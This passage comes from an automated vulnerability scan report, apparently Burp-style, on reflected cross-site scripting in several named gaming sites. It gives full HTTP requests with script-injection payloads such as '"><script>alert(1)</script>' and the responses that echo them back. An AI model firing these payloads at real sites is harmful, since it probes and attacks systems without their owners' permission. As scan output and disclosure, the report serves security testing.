Set-Cookie: ch_hash=3aaaddab27ffe084bdd751098d90b4b6c2e158c8; expires=Sat, 06 Feb 2016 02:37:02 GMT; path=/; domain=.collegehumor.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Set-Cookie: returning_user=deleted; expires=Sun, 07-Feb-2010 02:37:01 GMT; path=/; domain=.collegehumor.com
Set-Cookie: returning_user=1; expires=Wed, 09-Mar-2011 02:37:02 GMT; path=/; domain=.collegehumor.com
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 49060

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:fb="h
...[SNIP]...
var jument = window.jument || {};
jument.cookie.domain = '.collegehumor.com';

var ch = window.ch || {};
ch.logged_in = false;
ch.this_url = 'http://www.collegehumor.com/xd_receiver.htmec58c'-alert(1)-'ecfe04c4eba';
ch.this_url_64 = 'aHR0cDovL3d3dy5jb2xsZWdlaHVtb3IuY29tL3hkX3JlY2VpdmVyLmh0bWVjNThjJy1hbGVydCgxKS0nZWNmZTA0YzRlYmE=';
ch.home_url = 'http://www.collegehumor.com/';
ch.user_id = false;

...[SNIP]...

3.563. http://www.gamespy.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.gamespy.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c6f81"-alert(1)-"76c1646d5d9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?c6f81"-alert(1)-"76c1646d5d9=1 HTTP/1.1
Host: www.gamespy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:02:26 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:02:26 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.gamespy.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.gamespy.com
Set-Cookie: NGUserID=a016c05-27365-240423095-2;Path=/;Domain=.gamespy.com;Expires=Tue, 06-Aug-30 02:02:26 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.gamespy.com
Set-Cookie: freq=c-1297044146316v-1n-22mc+1297044146316mv+1mn+22wwe~0;Path=/;Domain=.gamespy.com
Content-Length: 81774

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>GameSpy: Video Game
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://www.gamespy.com/?c6f81"-alert(1)-"76c1646d5d9=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.564. http://www.gamespy.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.gamespy.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 30a45"><script>alert(1)</script>b351411c75c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?30a45"><script>alert(1)</script>b351411c75c=1 HTTP/1.1
Host: www.gamespy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:02:24 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:02:24 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.gamespy.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.gamespy.com
Set-Cookie: NGUserID=a016c02-24874-976866653-3;Path=/;Domain=.gamespy.com;Expires=Tue, 06-Aug-30 02:02:24 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.gamespy.com
Set-Cookie: freq=c-1297044144826v-1n-22mc+1297044144826mv+1mn+22wwe~0;Path=/;Domain=.gamespy.com
Content-Length: 81845

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>GameSpy: Video Game
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://www.gamespy.com/?30a45"><script>alert(1)</script>b351411c75c=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.565. http://www.gamestats.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.gamestats.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a595"><script>alert(1)</script>8454490e25b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?9a595"><script>alert(1)</script>8454490e25b=1 HTTP/1.1
Host: www.gamestats.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:02:29 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:02:29 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.gamestats.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.gamestats.com
Set-Cookie: NGUserID=a016c09-19323-1623528265-6;Path=/;Domain=.gamestats.com;Expires=Tue, 06-Aug-30 02:02:29 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.gamestats.com
Set-Cookie: freq=c-1297044149532v-1n-21mc+1297044149532mv+1mn+21wwe~0;Path=/;Domain=.gamestats.com
Content-Length: 143073

<html><head>
<script type="text/javascript" src="http://scripts.gamestats.com/scripts/common/data.js"></script>
<script type="text/javascript" src="http://scripts.gamestats.com/scripts/common/util
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://www.gamestats.com/?9a595"><script>alert(1)</script>8454490e25b=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.566. http://www.gamestats.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.gamestats.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d0025"-alert(1)-"f21ee463262 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?d0025"-alert(1)-"f21ee463262=1 HTTP/1.1
Host: www.gamestats.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:02:31 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:02:31 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.gamestats.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.gamestats.com
Set-Cookie: NGUserID=a016c03-27586-1171446367-2;Path=/;Domain=.gamestats.com;Expires=Tue, 06-Aug-30 02:02:30 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.gamestats.com
Set-Cookie: freq=c-1297044150881v-1n-21mc+1297044150881mv+1mn+21wwe~0;Path=/;Domain=.gamestats.com
Content-Length: 149660

<html><head>
<script type="text/javascript" src="http://scripts.gamestats.com/scripts/common/data.js"></script>
<script type="text/javascript" src="http://scripts.gamestats.com/scripts/common/util
...[SNIP]...
cript>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://www.gamestats.com/?d0025"-alert(1)-"f21ee463262=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.567. http://www.giga.de/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.giga.de
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2284b"><script>alert(1)</script>732b2e7ef39 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?2284b"><script>alert(1)</script>732b2e7ef39=1 HTTP/1.1
Host: www.giga.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:02:35 GMT
Server: Apache/2.2.3
X-Powered-By: PHP/5.2.0-8+etch13
Set-Cookie: PHPSESSID=5a0b49eccb7e20ad8e3cb73c63f0f96f; path=/; domain=.giga.de
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 72432

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head>

...[SNIP]...
<input type="hidden" name="url" value="http://www.giga.de/?2284b"><script>alert(1)</script>732b2e7ef39=1?" />
...[SNIP]...

3.568. http://www.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8e469"><script>alert(1)</script>7286e29afbc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?8e469"><script>alert(1)</script>7286e29afbc=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 00:59:44 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 00:59:44 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-1825-1809468254-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 00:59:42 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297040382336v-1n-12mc+1297040382336mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 179720

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Video Games, Cheat
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://www.ign.com/?8e469"><script>alert(1)</script>7286e29afbc=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.569. http://www.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7f8bd"-alert(1)-"57a543695b9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?7f8bd"-alert(1)-"57a543695b9=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 00:59:52 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 00:59:52 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-19918-1173906965-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 00:59:50 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297040390930v-1n-12mc+1297040390930mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 184267

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>Video Games, Cheat
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://www.ign.com/?7f8bd"-alert(1)-"57a543695b9=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.570. http://www.ign.com/_views/ign/ign_tinc_headlines.ftl [hub parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/_views/ign/ign_tinc_headlines.ftl

Issue detail

The value of the hub request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33e9d"><script>alert(1)</script>1c231de2862 was submitted in the hub parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /_views/ign/ign_tinc_headlines.ftl?pageType=top&hub=true33e9d"><script>alert(1)</script>1c231de2862&location=ign&locale=us HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:10:57 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:57 GMT
Content-Length: 32494
Connection: close

...[SNIP]...
<a class="filter-js lnk-tab filter" js-href="/_views/ign/ign_tinc_headlines.ftl?pageType=top&hub=true33e9d"><script>alert(1)</script>1c231de2862&location=ign&locale=us" href="/">
...[SNIP]...

3.571. http://www.ign.com/_views/ign/ign_tinc_headlines.ftl [locale parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/_views/ign/ign_tinc_headlines.ftl

Issue detail

The value of the locale request parameter is copied into an HTML comment. The payload ee53b--><script>alert(1)</script>499564ab19c was submitted in the locale parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /_views/ign/ign_tinc_headlines.ftl?pageType=top&hub=true&location=ign&locale=usee53b--><script>alert(1)</script>499564ab19c HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:10:59 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:59 GMT
Content-Length: 13848
Connection: close

<script>alert(1)</script>499564ab19c?max=12&startDate=20101029&endDate=20110206&flags=ignHeadline&includePromotions=true&dedupe=true -->
...[SNIP]...

3.572. http://www.ign.com/_views/ign/ign_tinc_headlines.ftl [locale parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/_views/ign/ign_tinc_headlines.ftl

Issue detail

The value of the locale request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5e967"><script>alert(1)</script>ebb2146f0bf was submitted in the locale parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /_views/ign/ign_tinc_headlines.ftl?pageType=top&hub=true&location=ign&locale=us5e967"><script>alert(1)</script>ebb2146f0bf HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:10:58 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:58 GMT
Content-Length: 13835
Connection: close

<!-- http://content-api.ign.com/v1/articles.xml.us5e967"><script>alert(1)</script>ebb2146f0bf?max=12&startDate=20101029&endDate=20110206&flags=ignHeadline&includePromotions
...[SNIP]...
<a class="filter-js lnk-tab filter" js-href="/_views/ign/ign_tinc_headlines.ftl?pageType=top&hub=true&location=ign&locale=us5e967"><script>alert(1)</script>ebb2146f0bf" href="/">
...[SNIP]...

3.573. http://www.ign.com/_views/ign/ign_tinc_headlines.ftl [location parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/_views/ign/ign_tinc_headlines.ftl

Issue detail

The value of the location request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 135b5"><script>alert(1)</script>cb145dcf670 was submitted in the location parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /_views/ign/ign_tinc_headlines.ftl?pageType=top&hub=true&location=ign135b5"><script>alert(1)</script>cb145dcf670&locale=us HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:10:57 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:57 GMT
Content-Length: 21151
Connection: close



<div i
...[SNIP]...
<a class="filter-js lnk-tab filter" js-href="/_views/ign/ign_tinc_headlines.ftl?pageType=top&hub=true&location=ign135b5"><script>alert(1)</script>cb145dcf670&locale=us" href="/index/latest-updates.html">
...[SNIP]...

3.574. http://www.ign.com/all-game-platforms.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/all-game-platforms.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3fe10"-alert(1)-"44f9892757b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /all-game-platforms.html?3fe10"-alert(1)-"44f9892757b=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:10:04 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:04 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297044604343v-3n-12mc+1297044604343mv+3mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 80008

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>All Game Platforms
...[SNIP]...
_comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://www.ign.com/all-game-platforms.html?3fe10"-alert(1)-"44f9892757b=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.575. http://www.ign.com/all-game-platforms.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/all-game-platforms.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a380a"><script>alert(1)</script>cf68277c21f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /all-game-platforms.html?a380a"><script>alert(1)</script>cf68277c21f=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:10:00 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:00 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297044599850v-3n-12mc+1297044599850mv+3mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 80057

